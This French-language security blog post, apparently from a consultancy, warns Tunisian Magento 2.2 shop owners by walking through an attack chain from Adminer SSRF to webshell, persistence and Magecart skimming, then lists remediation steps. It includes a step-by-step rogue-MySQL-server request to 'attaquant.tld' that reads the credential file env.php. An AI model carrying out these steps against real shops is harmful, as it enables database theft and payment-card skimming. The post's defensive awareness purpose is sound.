D'après Sansec, 56,7 % des boutiques Magento exposées à la campagne PolyShell de mars 2026 étaient déjà compromises au moment du scan. Plus de la moitié. Et si votre boutique tourne encore sous Magento 2.2 — fin de vie depuis décembre 2019, six ans sans patches officiels — les chances que vous fassiez partie de ce chiffre ne sont pas faibles : elles sont écrasantes.
Cet article décrit, minute par minute, comment un attaquant transforme une boutique Magento 2.2 typique en distributeur silencieux de cartes bancaires volées. La chaîne complète prend 25 minutes. Aucun zero-day, aucun savoir-faire exceptionnel — juste des vulnérabilités publiques empilées les unes sur les autres.
Si vous êtes propriétaire d'une boutique e-commerce en Tunisie, lisez jusqu'au bout. Si vous avez un DSI ou un prestataire technique, transférez-leur cet article tel quel.
Ce qu'un scanner voit en 60 secondes sur une boutique TN-Magento typique
Avant même de toucher au serveur, un attaquant lance un scan passif. Voici ce qu'une boutique Magento 2.2 mal configurée révèle immédiatement :
/magento_version accessible publiquement → confirme la version exacte
/adminer.php ou /phpmyadmin/ exposé sans restriction IP
En-tête X-Powered-By dévoilant la stack (PHP, Plesk, etc.)
HSTS absent → possibilité de downgrade TLS
CSP absent → terrain de jeu idéal pour Magecart
Cookie de session sans SameSite → exploitable en CSRF
/.well-known/security.txt absent → aucun canal de divulgation responsable
Chacun de ces points pris seul est mineur. Empilés, ils dessinent une carte routière. Et c'est exactement ce que les scanners automatiques publient sur les forums underground sous forme de listes prêtes à exploiter.
La chaîne d'attaque, minute par minute
T+0 — Découverte de la cible (passif)
Le scanner détecte une signature Magento dans les en-têtes HTTP et les chemins de ressources. La boutique apparaît dans une liste de cibles Magento, triée par version.
T+1 — Confirmation de la version
Requête GET sur /magento_version. Réponse : Magento/2.2 (Community). L'attaquant sait désormais que le serveur n'a reçu aucun correctif officiel depuis fin 2019. Il consulte la base CVE pour cette version : la liste tient plusieurs écrans.
T+5 — Exploitation Adminer SSRF
L'attaquant cible /adminer.php avec un serveur MySQL malveillant qu'il contrôle. Adminer ≤ 4.7.9, lorsqu'il se connecte à une base MySQL distante, peut être trompé via le drapeau CLIENT_LOCAL_FILES pour exécuter un LOAD DATA LOCAL INFILE ciblant /var/www/html/app/etc/env.php. Ce fichier contient le mot de passe MySQL en clair. Mécanique entièrement documentée publiquement (voir section suivante).
T+10 — Vidage complet de la base
Avec les vrais identifiants MySQL, l'attaquant se reconnecte à Adminer — cette fois légitimement. Il exporte customer_entity, sales_order, quote_address, customer_address_entity. Noms, e-mails, téléphones, adresses, historique de commandes, hashs de mots de passe. Tout part dans un fichier .sql de quelques centaines de Mo.
T+15 — Téléversement de webshell (PolyShell)
La campagne PolyShell documentée par Sansec en mars 2026 exploite une faille d'upload non authentifié dans l'API REST de Magento. Un fichier PHP polyglotte se dépose dans /pub/media/ — un répertoire censé contenir uniquement des images. À partir d'ici, l'attaquant a un shell PHP complet sur le serveur, exécutant sous l'utilisateur Apache.
T+20 — Persistance
Création d'un compte admin Magento de secours, ajout d'une tâche cron malveillante, dépôt d'une clé SSH publique dans ~/.ssh/authorized_keys si l'utilisateur Apache y a accès. Même si vous découvrez le webshell initial demain, l'attaquant a trois portes dérobées de plus.
T+25 — Injection du skimmer (Magecart)
Le coup final. L'attaquant injecte un script JavaScript dans le template de la page checkout — soit directement via la base (core_config_data), soit via un module compromis. Ce script intercepte tous les champs de paiement et exfiltre les numéros de carte vers un domaine tiers à chaque tentative de paiement. Sans CSP pour bloquer le domaine, sans monitoring d'intégrité des templates, personne ne s'en aperçoit avant la première rétrofacturation client, des semaines plus tard.
À partir de T+25, chaque carte bancaire saisie sur votre boutique est volée silencieusement.
L'attaquant soumet POST /adminer.php avec server=attaquant.tld (son propre serveur MySQL malveillant).
Adminer ouvre une connexion MySQL sortante vers attaquant.tld:3306.
Le serveur MySQL de l'attaquant envoie un greeting avec le drapeau CLIENT_LOCAL_FILES activé.
Le serveur malveillant envoie une requête LOAD DATA LOCAL INFILE '/var/www/html/app/etc/env.php'.
Adminer, croyant exécuter une commande légitime, lit le fichier local et l'envoie au serveur MySQL distant.
env.php contient host, user, et surtout password MySQL en clair.
L'attaquant se reconnecte à Adminer avec les vrais identifiants.
Accès complet à la base : clients, commandes, mots de passe hashés.
Magento 2.2 amplifie le désastre pour trois raisons :
Aucun patch depuis 2019 — toutes les CVE découvertes depuis sont exploitables.
CVE-2025-54236 « SessionReaper » (CVSS 9,1) — bypass d'authentification API REST permettant la prise de contrôle de comptes admin et l'installation de webshells. Adobe a publié APSB25-88 ; les versions 2.2 ne reçoivent pas le correctif.
PolyShell (mars 2026) — RCE non authentifié via l'API REST. C'est la campagne qui produit la statistique Sansec : 56,7 % de boutiques déjà compromises.
Une boutique 2.2 avec Adminer exposé n'est pas un risque théorique. C'est un compte à rebours.
Les 6 actions du jour (utilisables directement par votre DSI)
Faites ces six actions aujourd'hui. Chacune prend cinq minutes, sauf la 3e.
Supprimer /adminer.php — rm le fichier. S'il faut le garder, restreindre par IP :
<Files "adminer.php"> Require ip VOTRE.IP.BUREAU</Files>
Bloquer /magento_version — règle Apache ou nginx renvoyant 404. Ne donnez pas votre version gratuitement.
Grep les logs Apache pour tout accès passé à /adminer.php :
Inspecter la page checkout pour tout JavaScript chargé depuis un domaine externe inattendu.
Activer HSTS dans Apache :
Header always set Strict-Transport-Security \ "max-age=31536000; includeSubDomains; preload"
Ces six actions ne corrigent pas le problème de fond — votre Magento est toujours en fin de vie — mais elles ferment les trois portes d'entrée les plus exploitées. Si vous trouvez quoi que ce soit de suspect à l'étape 3, 4 ou 5 : ne redémarrez pas le serveur (vous perdriez la mémoire utile à une analyse forensique), isolez-le du public et engagez un prestataire en réponse à incident.
Migration vers Magento 2.4.x : ce qu'il faut planifier
Patcher Magento 2.2 n'est plus une option — il n'y a plus de patches. La seule réponse durable est la migration vers Magento 2.4.x (ou un changement de plateforme).
À cadrer dans votre planification :
Compatibilité PHP : Magento 2.4.x exige PHP 8.1+, MySQL 8.0+, OpenSearch ou Elasticsearch.
Audit des extensions : tous les modules tiers installés en 2.2 doivent être vérifiés ou remplacés. Beaucoup d'éditeurs ont disparu.
Thème : un thème custom 2.2 demande généralement une refonte partielle pour Hyvä ou Luma 2.4.
Données : magento-migration-tool couvre la base ; les fichiers média et certains custom attributes demandent du travail manuel.
Fenêtre : compter 6 à 12 semaines pour une boutique de taille moyenne, selon la dette technique accumulée.
Ce n'est pas un sprint d'une semaine. C'est un projet. Mais c'est moins coûteux qu'une fuite de données clients.
Comment savoir si je suis sous Magento 2.2 ?
Ouvrez votre-boutique.tld/magento_version dans un navigateur. Si la réponse est Magento/2.2.x, vous l'êtes. Si la page retourne 404, demandez à votre prestataire technique de vérifier dans app/etc/.
J'utilise un prestataire d'hébergement local. C'est sa responsabilité, non ?
Partiellement. L'hébergeur gère l'OS et la couche réseau. Magento, ses extensions et son contenu restent sous votre responsabilité (et celle de votre intégrateur). Demandez par écrit qui supervise quoi.
On est une petite boutique, qui voudrait nous attaquer ?
Personne ne vous cible nominativement. Les scanners ratissent par version, pas par marque. Une boutique Magento 2.2 à Tunis est aussi exploitable qu'une à Berlin. C'est précisément ce qui rend la statistique Sansec si élevée : l'attaque est automatisée à 100 %.
Et si je trouve un webshell dans /pub/media/ ?
N'éteignez pas le serveur (perte de mémoire vive utile pour la forensique). Coupez l'accès public, faites une image disque complète, engagez un prestataire qualifié, et notifiez l'INPDP dans les 72 h si des données personnelles ont fuité (loi tunisienne 2004-63).
Combien coûte un audit sécurité initial ?
Un audit externe non intrusif (ce qu'un attaquant voit en 60 secondes) prend généralement 30 minutes et identifie 80 % des trous. C'est le format que nous proposons gratuitement en ouverture de mission — voir ci-dessous.
Audit sécurité 30 minutes — gratuit
Nous offrons à toute boutique e-commerce en Tunisie un audit externe non intrusif de 30 minutes. Aucun accès serveur requis : nous scannons ce qui est visible publiquement et vous remettons un rapport avec les vulnérabilités classées par criticité, plus le plan d'action prioritaire.
C'est exactement ce qu'un attaquant fait en 60 secondes — sauf que vous voyez le rapport avant lui.
